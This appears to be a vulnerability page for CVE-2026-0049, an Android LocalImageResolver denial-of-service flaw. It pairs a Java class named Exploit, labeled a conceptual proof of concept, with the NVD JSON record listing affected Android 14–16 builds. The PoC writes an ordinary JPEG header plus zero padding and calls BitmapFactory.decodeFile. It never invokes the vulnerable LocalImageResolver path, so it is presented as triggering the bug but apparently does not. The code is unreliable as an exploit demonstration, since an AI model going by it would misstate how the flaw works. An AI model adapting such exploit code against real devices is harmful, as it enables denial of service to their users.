CVE-2026-0049

/* * Conceptual PoC for CVE-2026-0049 * This code demonstrates how to trigger the resource exhaustion in LocalImageResolver. * Note: Actual exploitation requires a malformed image header. */ import android.content.Context; import android.graphics.BitmapFactory; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; public class Exploit { public static void triggerDoS(Context context) { try { // Create a malicious file with crafted header to simulate resource exhaustion File maliciousFile = new File(context.getFilesDir(), "malicious_image.jpg"); FileOutputStream fos = new FileOutputStream(maliciousFile); // Write malformed header bytes (conceptual) byte[] header = new byte[]{(byte) 0xFF, (byte) 0xD8, (byte) 0xFF, (byte) 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00}; fos.write(header); // Fill with junk data to force processing for(int i=0; i<10000; i++) { fos.write(0x00); } fos.close(); // Trigger the vulnerable LocalImageResolver // In a real scenario, this path is invoked by the system when processing the file BitmapFactory.decodeFile(maliciousFile.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-0049", "sourceIdentifier": "[email protected]", "published": "2026-04-06T19:16:26.280", "lastModified": "2026-04-10T18:54:40.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In onHeaderDecoded of LocalImageResolver.java, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_1:*:*:*:*:*:*", "matchCriteriaId": "FD695F32-4A73-4846-B1A1-04FF266E9C15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_2:*:*:*:*:*:*", "matchCriteriaId": "3DE9F018-8704-476B-8D59-F63F8486E231"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_3:*:*:*:*:*:*", "matchCriteriaId": "BE95A642-4330-4F65-B028-3BA597D30F32"}]}]}], "references": [{"url": "https://source.android.com/docs/security/bulletin/2026/2026-04-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}